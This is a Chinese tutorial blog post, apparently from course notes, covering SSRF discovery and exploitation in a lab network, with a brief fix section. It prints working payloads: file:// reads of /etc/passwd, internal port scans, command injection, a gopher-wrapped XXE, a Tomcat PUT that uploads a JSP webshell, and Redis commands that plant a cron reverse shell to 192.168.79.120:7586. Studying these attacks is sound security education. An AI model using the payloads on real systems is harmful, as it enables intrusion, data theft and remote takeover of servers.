本篇整理自我的语雀学习笔记(课堂学习与实操记录),已转为纯文字版并按博客格式排版。

产生原因

开发者没有对用户传入的 URL 做严格的限制,导致用户可以传入任意的URL地址

CSRF 与 SSRF 区别

  • csrf 是跨站请求伪造。是诱导 客户端(浏览器)执行非本意的操作
  • ssrf 是服务端请求伪造,是诱导服务器执行非本意的操作

危害

  • 任意文件读取、泄露敏感信息
  • 探测内网
  • 攻击内网服务

挖掘

代码审计

1 定位 PHP 函数 file_get_contents、fsockopen、curl_exec、这些函数都能向URL 发起请求

2 看函数参数是否可控

<?php
 $url = $_GET['url'];
 echo file_get_contents($url);
?>

如上代码,存在file_get_contents, 且参数是通过用户 GET 参数 url 传入的,存在 SSRF 漏洞

黑盒

怎么发现漏洞

请求中有 类似的url 参数,可进行尝试

网站的那些功能 可能存在 类似URI 的 参数

分享:通过URL地址分享网页内容
转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译:通过URL地址翻译对应文本的内容。
图片加载与下载:通过URL地址加载或下载图片。
图片、文章收藏功能

有哪些 常见的URL 关键字

share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain

怎么证明漏洞

回显 SSRF

直接把 URL 改为 file:// 协议URL 看是否能够读取文件

windows: file:///C:\windows\win.ini

Linux:file:///etc/passwd

无回显SSRF

HTTP 外带

DNSlog 外带

利用

读取文件

file://

读取 hosts 可以看到内网IP

探测内网

http 协议

让服务器 自己访问自己 http://127.0.0.1 , http://localhost, http://172.72.23.21

让服务器 访问 其他的内网地址 (C 段)

http://172.72.23.22

http://172.72.23.23

http://172.72.23.24

可借助 burp 爆破C段

可以借助 burp 爆破端口

dict 协议

dict 协议 检测时出现报错信息,则证明该ip 对应的端口有服务存在

⚠️ dict协议在某些ssrf漏洞中是不支持的,可以使用 http 协议替代

**dict://172.72.23.23:80 **

可以借助 burp 爆破c段或端口

攻击内网

http 协议

攻击服务器2 - 172.72.23.22 80 端口

先访问 172.72.23.22 首页查看信息

burpsuite 扫描目录

爆破结果剔除 404 Not Found和400 Bad Request报错,剩下的就是存在的目录和文件

404 Not Found|400 Bad Request

发现目标网站存在 /index.php /phpinfo.php /shell.php

分别访问

http://172.72.23.22/index.php

http://172.72.23.22/phpinfo.php

http://172.72.23.22/shell.php

发现 http://172.72.23.22/shell.php 存在命令执行漏洞

攻击命令执行漏洞 :http://172.72.23.22/shell.php?cmd=id

攻击服务器3 - 172.72.23.23 80 端口

使用 ssrf 漏洞 访问 http://172.72.23.23

发现SQL 注入,编写 SSRF 漏洞 http 协议的playload

http://172.72.23.23/index.php?id=1

如果 ssrf 漏洞http 协议的payload中出现了特殊字符或空格,需要进行两次URL编码

id=1’ order by 99#

可以编码成

http://172.72.23.23/index.php?id=1%27%20order%20by%2099%23

或者是:

id=1'%2border%2bby%2b99%2523

或者是:

%25%36%39%25%36%34%25%33%64%25%33%31%25%32%37%25%32%30%25%36%66%25%37%32%25%36%34%25%36%35%25%37%32%25%32%30%25%36%32%25%37%39%25%32%30%25%33%39%25%33%39%25%32%33

%31%27%2b%6f%72%64%65%72%2b%62%79%2b%39%39%25%32%33

为什么需要二次编码,下图以SQL注入注释符 #为例:

gopher 协议

作用:发送TCP 原始数据

格式:gopher://IP:Port/_TCP原始数据 (Port 端口默认是 70)

gopher://host:port/_<payload>
攻击服务器4 - 172.72.23.24 80 端口

访问 http://172.72.23.24 发现目标可能存在 命令执行漏洞

gopher 攻击过程

1 构造原始的请求报文

POST / HTTP/1.1
Host: 172.72.23.24
Content-Length: 27
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

ip=127.0.0.1;cat /etc/hosts

⚠️: 不能有 Accept-Encoding:gzip (gzip是http是压缩,gopher看不懂)

⚠️: 不能 Connection: keep-alive (HTTP1.1支持的tcp长连接,gopher看不懂)

⚠️: Content-Length 长度必须要正确

2 二次 URL 编码 原始请求报文

3 使用gopher协议拼接payload , 攻击SSRF漏洞

url=gopher://172.72.23.24:80/_<playload>

攻击服务器5 - 172.72.23.25 80 端口

通过ssrf漏洞访问访问 http://172.72.23.25

通过抓包发现存在xml数据,可能存在xxe漏洞,使用 gopher 协议攻击

1 构建原始请求报文

POST /doLogin.php HTTP/1.1
Host: 172.72.23.25
Content-Length: 212
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY a SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">

]>
<user><username>&a;</username><password>123</password></user>

2 对请求报文进行二次URL编码

3 拼接为 gopher 的payload,攻击SSRF漏洞

gopher://172.72.23.25:80/_ <playload>

攻击服务器6 - 172.72.23.26 8080 端口
通过ssrf漏洞 访问 http://172.72.23.26:8080 ,发现是 tomcat (历史漏洞 tomcat put 任意文件上传) https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615

1 构造原始请求报文

PUT /dcka.jsp/ HTTP/1.1
Host: 172.72.23.26:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 398

<%@ page import="java.io.*" %>
<%                                                                                                                                                                                                                                                                                                                                                                         %>

2 对原始请求报文二次URL编码

3 使用gopher协议攻击SSRF漏洞

gopher://172.72.23.26:8080/_

4 使用http 的 ssrf payload 访问 172.72.23.26 8080 端口刚刚写入的jsp webshell

url=http://172.72.23.26:8080/dcka.jsp?cmd=cat%2b/etc/passwd

字符 名称 URL 编码
空格 %20+
/ 斜杠 (分隔路径) %2F
? 问号 (查询参数开始) %3F
# 井号 (锚点) %23
& 和号 (参数分隔符) %26
= 等于号 (键值对分隔) %3D
: 冒号 (协议或端口) %3A
@ At 符号 (用户信息) %40
$ 美元符号 %24
+ 加号 %2B
, 逗号 %2C
字符 URL 编码 字符 URL 编码
< %3C [ %5B
> %3E ] %5D
" %22 { %7B
' %27 } %7D
\ %5C ^ %5E
% %25 ` `
! %21 * %2A
攻击服务器7 - 172.72.23.27 6379 端口

探测端口

gopher 发送TCP 原始数据

1 获取redis的原始报文 , 搭建一个 redis 服务,使用 wireshark 捕获攻击流量

docker run -d -p 6379:6379 damonevking/redis5.0

2 查看容器的IP地址,连接 redis

redis-cli -h 192.168.79.129

3 打开wireshark,捕获与 redis 在同一网段的网卡流量

redis 原始数据是什么:命令

192.168.79.129:6379> flushall
OK
192.168.79.129:6379> set a "\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.79.120/7586 0>&1\n\n"
OK
192.168.79.129:6379> config set dir /var/spool/cron
(error) ERR Changing directory: No such file or directory
192.168.79.129:6379> config set dbfilename root
OK
192.168.79.129:6379> save
OK

4 连接redis ,进行模拟攻击操作,捕获攻击的流量

*1
$8
flushall

+OK

*3
$3
set
$1
a
$63

* * * * * /bin/bash -i >& /dev/tcp/192.168.79.120/7586 0>&1

+OK

*4
$6
config
$3
set
$3
dir
$15
/var/spool/cron

-ERR Changing directory: No such file or directory

*4
$6
config
$3
set
$10
dbfilename
$4
root

+OK

*1
$4
save

+OK

5 把原始流量信息,封装成 gopher的形式,攻击真实的目标

复制wireshark中的流量到burpsuite repeater 中,注意 \n

进行两次 URL 编码 再封装为 gopher 协议,攻击 SSRF漏洞

攻击机开启监听,等待一分钟左右,即可收到shell

修复

拦截协议头 file://, dict://, gopher://
拦截特殊站点,拦截IP 地址字符串, 只能使用域名
设置域名 白名单, 如 *.baidu.com